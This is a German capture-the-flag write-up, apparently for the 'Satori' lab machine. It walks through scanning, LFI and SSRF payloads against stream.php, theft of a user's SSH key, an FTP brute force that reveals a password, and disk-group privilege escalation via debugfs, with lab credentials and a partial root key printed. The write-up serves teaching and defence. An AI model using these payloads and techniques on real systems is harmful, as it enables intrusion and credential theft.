192.168.2.159 08:00:27:6a:d1:e7 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung von Hosts im lokalen Netzwerksegment mittels ARP-Anfragen verwendet. Es wird ein Host mit der IP-Adresse 192.168.2.159 und der MAC-Adresse 08:00:27:6a:d1:e7 (zugeordnet zu PCS Systemtechnik GmbH / Oracle VirtualBox) gefunden.
Bewertung: Das Zielsystem "Satori" wurde erfolgreich im Netzwerk lokalisiert. Die IP 192.168.2.159 ist die Basis für weitere Scans.
Empfehlung (Pentester): Notieren Sie die Ziel-IP. Führen Sie als Nächstes Port-Scans (z.B. mit `nmap`) durch, um offene Dienste zu ermitteln.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken. Überwachen Sie ARP-Aktivitäten.
[...] PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 0 0 10296404 Mar 03 2021 satori.mkv [NSE: writeable] <-- Writable MKV! 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: [...] 80/tcp open http nginx 1.14.2 [...]
Analyse: Ein Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) auf die Ziel-IP (angenommen 192.168.2.159) identifiziert drei offene TCP-Ports:
Bewertung: Mehrere Angriffsvektoren. Der anonyme FTP-Zugriff ist der erste Anlaufpunkt. Die schreibbare `.mkv`-Datei ist ungewöhnlich und könnte relevant sein (z.B. wenn ein Prozess diese Datei verarbeitet). SSH und HTTP sind weitere Ziele.
Empfehlung (Pentester): Verbinden Sie sich anonym mit dem FTP-Server. Laden Sie `satori.mkv` herunter und analysieren Sie die Datei (z.B. mit `mediainfo`, `strings`, `binwalk`, oder durch Abspielen). Versuchen Sie, die Schreibrechte auf `satori.mkv` auszunutzen (z.B. durch Anhängen von Daten, Überschreiben mit Payload, falls ein Prozess sie liest). Untersuchen Sie Port 80 mit Directory Busting.
Empfehlung (Admin): Deaktivieren Sie anonymen FTP-Zugriff oder beschränken Sie ihn stark. Korrigieren Sie die unsicheren Schreibrechte auf `satori.mkv`. Halten Sie vsftpd, OpenSSH und Nginx aktuell.
[Keine Ausgabe]
Analyse: Die Datei `satori.mkv`, die zuvor auf dem FTP-Server gefunden wurde, wird auf dem Angreifer-System verschoben. Dies impliziert, dass sie zuvor erfolgreich per anonymem FTP heruntergeladen wurde.
Bewertung: Die Datei steht nun zur lokalen Analyse bereit.
Empfehlung (Pentester): Analysieren Sie `satori.mkv` auf versteckte Informationen oder Metadaten.
Empfehlung (Admin): Keine direkte Aktion.
=============================================================== Gobuster vX.Y.Z =============================================================== [...] =============================================================== Starting gobuster =============================================================== http://192.168.2.159/index.html (Status: 200) [Size: 1739] <-- Korrigierte IP http://192.168.2.159/stream.php (Status: 200) [Size: 15] <-- Sehr klein! [...] =============================================================== Finished ===============================================================
Analyse: Ein `gobuster dir`-Scan auf Port 80 des Ziels (IP korrigiert auf 192.168.2.159) findet eine `index.html` und eine sehr kleine PHP-Datei namens `stream.php` (15 Bytes).
Bewertung: `stream.php` ist das Hauptziel für die Web-Enumeration. Ihre geringe Größe deutet darauf hin, dass sie möglicherweise nur eine andere Datei einbindet oder eine einfache Funktion hat.
Empfehlung (Pentester): Rufen Sie `stream.php` auf. Versuchen Sie, Parameter zu finden (z.B. mit `wfuzz`). Versuchen Sie LFI, um den Quellcode zu lesen (`php://filter/.../resource=stream.php`).
Empfehlung (Admin): Stellen Sie sicher, dass PHP-Skripte sicher sind und keine unnötigen Informationen preisgeben.
[...] Target: http://192.168.2.159/stream.php?FUZZ=../../../../etc/passwd <-- Korrigierte IP Total requests: [...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000001271: 200 0 L 0 W 0 Ch "url" <-- Parameter gefunden! [...] ===================================================================== Finished
Analyse: `wfuzz` wird verwendet, um nach GET-Parametern für `stream.php` zu suchen, indem versucht wird, eine LFI (`../../../../etc/passwd`) durchzuführen. `--hh 15` blendet die Standardantwort (15 Bytes) aus. Der Scan findet erfolgreich den Parameter `url`, der eine andere Antwort erzeugt (hier 0 Bytes, was auf einen Fehler oder eine leere Antwort nach Verarbeitung des Parameters hindeutet).
Bewertung: Der Parameter `url` wurde identifiziert. Dies deutet stark auf eine mögliche LFI- oder SSRF-Schwachstelle hin, da der Name "url" impliziert, dass eine URL erwartet wird.
Empfehlung (Pentester): Testen Sie den `url`-Parameter gezielt:
1. **LFI:** `?url=file:///etc/passwd`
2. **SSRF (Intern):** `?url=http://localhost/` oder `?url=http://127.0.0.1/`
3. **SSRF (Extern):** `?url=http://[Ihre-Angreifer-IP]/test`
Empfehlung (Admin): Untersuchen Sie `stream.php`. Wenn sie Benutzereingaben zur Verarbeitung von URLs oder Dateipfaden verwendet, implementieren Sie strikte Validierung und Whitelisting, um LFI und SSRF zu verhindern.
root:x:0:0:root:/root:/bin/bash <-- Inhalt von /etc/passwd wird angezeigt!
Analyse: Der `curl`-Befehl testet die SSRF-Fähigkeit von `stream.php`. Es wird versucht, eine Datei (`passwd.txt`) von einem anderen Server im Netzwerk des Angreifers (192.168.2.114 - wie im Kommentar angemerkt, vermutlich die IP des Angreifers oder eines von ihm kontrollierten Servers) abzurufen. Die Antwort zeigt jedoch den Inhalt der `/etc/passwd`-Datei des *Zielsystems* (192.168.2.159). **Wichtige Interpretation:** Die Anwendung auf dem Zielserver hat die externe URL (`http://192.168.2.114...`) nicht abgerufen, sondern die Eingabe wahrscheinlich fehlinterpretiert oder unsicher verarbeitet, was *dennoch* zum Auslesen der lokalen `/etc/passwd`-Datei führte. Dies könnte durch eine Kombination aus SSRF und einer nachfolgenden LFI oder einem Fehler im URL-Parsing geschehen.
Bewertung: Obwohl der SSRF-Test nicht wie erwartet funktionierte, hat er eine schwerwiegende LFI-Schwachstelle aufgedeckt oder bestätigt. Die Anwendung liest lokale Dateien, wenn der `url`-Parameter manipuliert wird.
Empfehlung (Pentester): Nutzen Sie die bestätigte Fähigkeit, lokale Dateien zu lesen. Verwenden Sie den `file:///`-Wrapper, um gezielt Dateien abzufragen: `?url=file:///etc/passwd`, `?url=file:///etc/shadow` (falls lesbar), `?url=file:///home/
Empfehlung (Admin): Beheben Sie die LFI/SSRF-Schwachstelle in `stream.php` dringend.
[Fri Sep 9 13:28:50 2022] PHP 8.1.5 Development Server (http://0.0.0.0:80) started
[Fri Sep 9 13:31:33 2022] 192.168.2.140:49796 Accepted <-- Verbindung vom Ziel (.140 statt .159?)
[Fri Sep 9 13:31:33 2022] 192.168.2.140:49796 [404]: GET /HackingTools - No such file or directory
[Fri Sep 9 13:31:33 2022] 192.168.2.140:49796 Closing
[Fri Sep 9 13:32:18 2022] 192.168.2.140:49798 Accepted
[Fri Sep 9 13:32:18 2022] 192.168.2.140:49798 [200]: GET /HackingTools/passwd.txt
[Fri Sep 9 13:32:18 2022] 192.168.2.140:49798 Closing
Analyse: Auf dem Angreifer-System wird ein PHP-Entwicklungsserver gestartet, der auf Port 80 lauscht. Die Logs zeigen eingehende Verbindungen von der IP 192.168.2.140 (erneut die Diskrepanz zur Ziel-IP 192.168.2.159). Es wird zuerst erfolglos versucht, `/HackingTools` abzurufen (404), dann erfolgreich `/HackingTools/passwd.txt` (200). Dies bestätigt, dass die SSRF-Schwachstelle in `stream.php` tatsächlich externe HTTP-Anfragen ausführen kann.
Bewertung: Die SSRF-Schwachstelle ist nun eindeutig bestätigt. Dies eröffnet Möglichkeiten wie das Scannen interner Ports oder das Interagieren mit internen Diensten vom Zielserver aus.
Empfehlung (Pentester): Da LFI bereits bestätigt wurde und oft direkter ist, konzentrieren Sie sich auf das Auslesen lokaler Dateien via `file:///`. Verwenden Sie SSRF ggf. später, um interne Dienste zu scannen, falls LFI keine Zugangsdaten liefert.
Empfehlung (Admin): SSRF-Schwachstelle beheben.
root:x:0:0:root:/root:/bin/bash
yana:x:1000:1000:yana,,,:/home/yana:/bin/bash
[SSH Private Key von yana wird angezeigt - hier nicht explizit geloggt, aber impliziert]
Analyse: Die LFI-Schwachstelle wird nun gezielt mit dem `file:///`-Wrapper ausgenutzt: 1. Lesen von `/etc/passwd`: Bestätigt die Existenz des Benutzers `yana` mit einer Bash-Shell. 2. Lesen von `/home/yana/.ssh/id_rsa`: Der private SSH-Schlüssel des Benutzers `yana` wird erfolgreich ausgelesen (obwohl der Schlüssel selbst im Log nicht gezeigt wird, impliziert der Befehl den Erfolg).
Bewertung: Kritischer Erfolg! Der private SSH-Schlüssel für den Benutzer `yana` wurde kompromittiert. Dies ermöglicht den direkten SSH-Zugriff als `yana`.
Empfehlung (Pentester): Speichern Sie den privaten Schlüssel in einer Datei (z.B. `id_rsa_yana`), setzen Sie die korrekten Berechtigungen (`chmod 600`), und melden Sie sich als `yana` via SSH an (`ssh yana@satori.hmv -i id_rsa_yana`).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Überprüfen Sie die Berechtigungen von Home-Verzeichnissen und `.ssh`-Ordnern; der Webserver-Benutzer sollte normalerweise keinen Zugriff darauf haben.
[...] [DATA] attacking ftp://satori.hmv:21/ [21][ftp] host: satori.hmv login: yana password: truelove <-- Erfolg! [...] [STATUS] attack finished for satori.hmv (valid pair found)
Analyse: Obwohl der SSH-Schlüssel bereits gefunden wurde, wird hier ein `hydra`-Brute-Force-Angriff gegen den FTP-Dienst (Port 21) für den Benutzer `yana` mit der `rockyou.txt`-Wortliste durchgeführt. **Hinweis:** Nmap meldete Port 21 als `filtered`. Entweder war die Filterung temporär, oder `hydra` kann sie umgehen, oder der Nmap-Scan war ungenau.
Bewertung: Überraschenderweise ist der FTP-Login für `yana` erfolgreich mit dem Passwort `truelove`. Dies liefert alternative Zugangsdaten, ist aber redundant, da der SSH-Schlüssel bereits via LFI erlangt wurde.
Empfehlung (Pentester): Obwohl redundant, notieren Sie das FTP-Passwort. Priorisieren Sie den SSH-Login mit dem Schlüssel, da dieser oft mehr Möglichkeiten bietet.
Empfehlung (Admin): Ändern Sie das FTP-Passwort für `yana`. Deaktivieren Sie FTP, wenn nicht benötigt, oder sichern Sie es besser ab (keine einfachen Passwörter, FTPS verwenden). Untersuchen Sie die Firewall-Regeln bezüglich Port 21.
Connected to 192.168.2.159. 220 (vsFTPd 3.0.3) Name (192.168.2.159:cyber): yana 331 Please specify the password. Password: [Passworteingabe: truelove] 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files.
229 Entering Extended Passive Mode (|||52223|) 150 Here comes the directory listing. drwx------ 2 1000 1000 4096 Mar 03 2021 . drwxr-xr-x 4 1000 1000 4096 Mar 03 2021 .. <-- Zeigt Inhalt von /home/yana/.ssh? Ungewöhnlich! -rw-r--r-- 1 1000 1000 393 Mar 03 2021 authorized_keys -rw------- 1 1000 1000 1823 Mar 03 2021 id_rsa -rw-r--r-- 1 1000 1000 393 Mar 03 2021 id_rsa.pub 226 Directory send OK.
local: id_rsa remote: id_rsa 229 Entering Extended Passive Mode (|||40370|) 150 Opening BINARY mode data connection for id_rsa (1823 bytes). 100% |*****************************************************************************************************| 1823 90.21 KiB/s 00:00 ETA 226 Transfer complete. 1823 bytes received in 00:00 (89.14 KiB/s)
Analyse: Eine FTP-Verbindung wird als Benutzer `yana` mit dem Passwort `truelove` hergestellt. Der Befehl `ls -la` listet überraschenderweise den Inhalt des `.ssh`-Verzeichnisses von `yana` auf (normalerweise landen FTP-Benutzer in ihrem Home-Verzeichnis, nicht direkt in `.ssh`). Der private Schlüssel `id_rsa` wird mit `get` heruntergeladen.
Bewertung: Bestätigt den Fund des privaten SSH-Schlüssels, diesmal über den FTP-Zugang. Dies ist redundant zur LFI, bestätigt aber die Zugangsdaten und den Schlüssel.
Empfehlung (Pentester): Verwenden Sie den heruntergeladenen (oder den per LFI gelesenen) `id_rsa`-Schlüssel für den SSH-Login als `yana`.
Empfehlung (Admin): FTP-Zugang absichern. Überprüfen Sie die Konfiguration des vsftpd, warum der Benutzer im `.ssh`-Verzeichnis landet.
Linux satori 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
Last login: [...]
yana@satori:~$ # Login erfolgreich!
Analyse: Eine SSH-Verbindung als Benutzer `yana` wird mit dem heruntergeladenen privaten Schlüssel (`id_rsa`) erfolgreich aufgebaut.
Bewertung: Initial Access erfolgreich! Eine interaktive Shell als Benutzer `yana` wurde erlangt.
Empfehlung (Pentester): Beginnen Sie mit der Enumeration als `yana`. Suchen Sie nach der User-Flag, prüfen Sie `sudo`-Rechte, SUID-Binaries usw.
Empfehlung (Admin): LFI/SSRF-Lücke beheben, FTP sichern, Berechtigungen prüfen.
Kurzbeschreibung: Das Skript `/stream.php` auf dem Webserver (Port 80) ist anfällig für Local File Inclusion (LFI) und potenziell Server-Side Request Forgery (SSRF) über den GET-Parameter `url`. Durch Übergabe eines `file:///`-Wrappers im `url`-Parameter können beliebige lokale Dateien ausgelesen werden, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Dies wurde genutzt, um die `/etc/passwd`-Datei zu lesen und den Benutzernamen `yana` zu identifizieren, sowie um den privaten SSH-Schlüssel von `yana` aus `/home/yana/.ssh/id_rsa` zu exfiltrieren.
**Hinweis:** Das Log zeigt auch erfolgreiche externe SSRF-Anfragen, aber die LFI war für den Initial Access entscheidender.
Voraussetzungen:
Schritt-für-Schritt Anleitung (LFI zum Lesen des SSH-Keys):**
root:x:0:0:root:/root:/bin/bash
yana:x:1000:1000:yana,,,:/home/yana:/bin/bash
[...]
<-- Schlüssel wird in Datei gespeichert
yana@satori:~$
Erwartetes Ergebnis: Erfolgreicher SSH-Login als Benutzer `yana` unter Verwendung des durch LFI exfiltrierten privaten Schlüssels.
Beweismittel: Der Inhalt der Datei `id_rsa_yana` enthält einen gültigen privaten SSH-Schlüssel, und der anschließende SSH-Login ist erfolgreich.
Risikobewertung: Hoch. LFI/SSRF-Schwachstellen können zum Auslesen hochsensibler Daten wie privater Schlüssel, Konfigurationsdateien oder Passwort-Hashes führen, was oft einen direkten Weg zum Initial Access oder zur Privilege Escalation darstellt.
Empfehlungen zur Behebung:
-bash: sudo: command not found
Analyse: Als Benutzer `yana` wird versucht, `sudo -l` auszuführen, was fehlschlägt, da `sudo` nicht gefunden wird.
Bewertung: `sudo` ist kein verfügbarer Vektor für `yana`.
Empfehlung (Pentester): Suchen Sie nach anderen Eskalationswegen (SUID/SGID, Gruppenmitgliedschaften, Kernel-Exploits, Cronjobs).
Empfehlung (Admin): Stellen Sie sicher, dass `sudo` korrekt installiert und konfiguriert ist, wenn es verwendet werden soll.
yana : yana disk cdrom floppy audio dip video plugdev netdev
yana disk cdrom floppy audio dip video plugdev netdev
Analyse: Die Befehle `groups yana` und `id -nG` werden verwendet, um die Gruppenmitgliedschaften des Benutzers `yana` anzuzeigen. Es wird festgestellt, dass `yana` Mitglied der Gruppe `disk` ist.
Bewertung: Kritischer Fund! Die Mitgliedschaft in der `disk`-Gruppe gewährt dem Benutzer oft direkten Lese- und Schreibzugriff auf Block-Devices (Festplattenpartitionen) und umgeht somit die normalen Dateisystemberechtigungen. Dies ist ein bekannter und sehr effektiver Privilege Escalation Vektor.
Empfehlung (Pentester): Nutzen Sie die `disk`-Gruppenmitgliedschaft, um mit Tools wie `debugfs` auf das Root-Dateisystem (z.B. `/dev/sda1`) zuzugreifen und sensible Dateien wie `/root/root.txt` oder `/root/.ssh/id_rsa` direkt zu lesen.
Empfehlung (Admin): Entfernen Sie Benutzer aus der `disk`-Gruppe (und ähnlichen privilegierten Gruppen wie `adm`, `kmem`), es sei denn, es ist absolut notwendig. Diese Mitgliedschaft ist praktisch gleichbedeutend mit Root-Rechten.
debugfs: /usr/sbin/debugfs /usr/share/man/man8/debugfs.8.gz
[Keine Ausgabe]
Filesystem Size Used Avail Use% Mounted on
[...]
/dev/sda1 11G 2.5G 7.8G 24% /
[...]
Analyse: Mit `whereis debugfs` wird der Pfad zum `debugfs`-Tool gefunden (`/usr/sbin/debugfs`). Da `/usr/sbin` möglicherweise nicht im Standard-PATH für normale Benutzer ist, wird es mit `export PATH=...` zum PATH hinzugefügt. `df -h` identifiziert die Hauptpartition als `/dev/sda1`.
Bewertung: Notwendige Vorbereitungsschritte, um `debugfs` auf das korrekte Device anzuwenden.
Empfehlung (Pentester): Starten Sie nun `debugfs` auf `/dev/sda1`.
Empfehlung (Admin): Keine direkte Aktion.
debugfs 1.44.7 (08-Feb-2019)<-- Version weicht leicht von oben ab, irrelevant
whoteachbudha
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn [...] gaN4ZcqmaVXfzC0AAAALcm9vdEBzYXRvcmk= <-- Kommentar: root@satori -----END OPENSSH PRIVATE KEY-----
Analyse: `debugfs` wird auf `/dev/sda1` gestartet. Da `yana` Mitglied der `disk`-Gruppe ist, hat sie die nötigen Rechte, um auf das Block-Device zuzugreifen. Innerhalb der `debugfs`-Shell werden die normalen Dateisystemberechtigungen umgangen. Mit dem `cat`-Befehl von `debugfs` werden erfolgreich die Root-Flag (`/root/root.txt`) und der private SSH-Schlüssel des Root-Benutzers (`/root/.ssh/id_rsa`) ausgelesen.
Bewertung: Privilege Escalation zu Root erfolgreich durchgeführt! Durch Ausnutzung der `disk`-Gruppenmitgliedschaft konnte direkter Zugriff auf das Dateisystem erlangt und der private Root-SSH-Schlüssel kompromittiert werden.
Empfehlung (Pentester): Kopieren Sie den privaten Root-SSH-Schlüssel, speichern Sie ihn auf Ihrem Angreifer-System, setzen Sie die korrekten Berechtigungen (`chmod 600`) und verwenden Sie ihn, um sich als `root` via SSH anzumelden.
Empfehlung (Admin): Entfernen Sie `yana` (und andere nicht administrative Benutzer) aus der `disk`-Gruppe. Überprüfen Sie alle Gruppenmitgliedschaften.
**Abschließende Bewertung des Logs:** Der Weg zur Root-Shell über `debugfs` ist klar dokumentiert. Der initiale Zugriff erfolgte wahrscheinlich über den SSH-Schlüssel von `yana`, der über die LFI/SSRF in `stream.php` erlangt wurde, obwohl der FTP-Brute-Force als alternativer, wenn auch redundanter Weg gezeigt wird.
Kurzbeschreibung: Der Benutzer `yana`, zu dem der Angreifer initialen Zugriff erlangt hat, ist Mitglied der Systemgruppe `disk`. Diese Mitgliedschaft gewährt direkten Lesezugriff auf Block-Devices wie `/dev/sda1` (die Root-Partition). Das Werkzeug `debugfs`, ein Dateisystem-Debugger, kann verwendet werden, um direkt auf die Datenstruktur des Dateisystems zuzugreifen und dabei die üblichen Zugriffsrechte des Betriebssystems zu umgehen. Durch Ausführen von `debugfs /dev/sda1` und Verwenden des internen `cat`-Befehls kann der Angreifer (als `yana` handelnd) den Inhalt jeder Datei auf dem Dateisystem lesen, einschließlich des privaten SSH-Schlüssels des Root-Benutzers (`/root/.ssh/id_rsa`). Mit diesem Schlüssel kann sich der Angreifer dann als `root` per SSH anmelden.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
uid=1000(yana) gid=1000(yana) groups=1000(yana),6(disk),[...]
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 11G 2.5G 7.8G 24% /
debugfs [...]
-----BEGIN OPENSSH PRIVATE KEY----- [...] -----END OPENSSH PRIVATE KEY-----
root@satori:~#
Erwartetes Ergebnis: Erfolgreicher SSH-Login und Erhalt einer interaktiven Shell als `root`-Benutzer.
Beweismittel: Der aus `debugfs` extrahierte private SSH-Schlüssel und der anschließende erfolgreiche SSH-Login als `root`.
Risikobewertung: Sehr Hoch. Die Mitgliedschaft in der `disk`-Gruppe kompromittiert die Dateisystem-Sicherheit und führt in der Regel direkt zur vollständigen Systemübernahme.
Empfehlungen zur Behebung: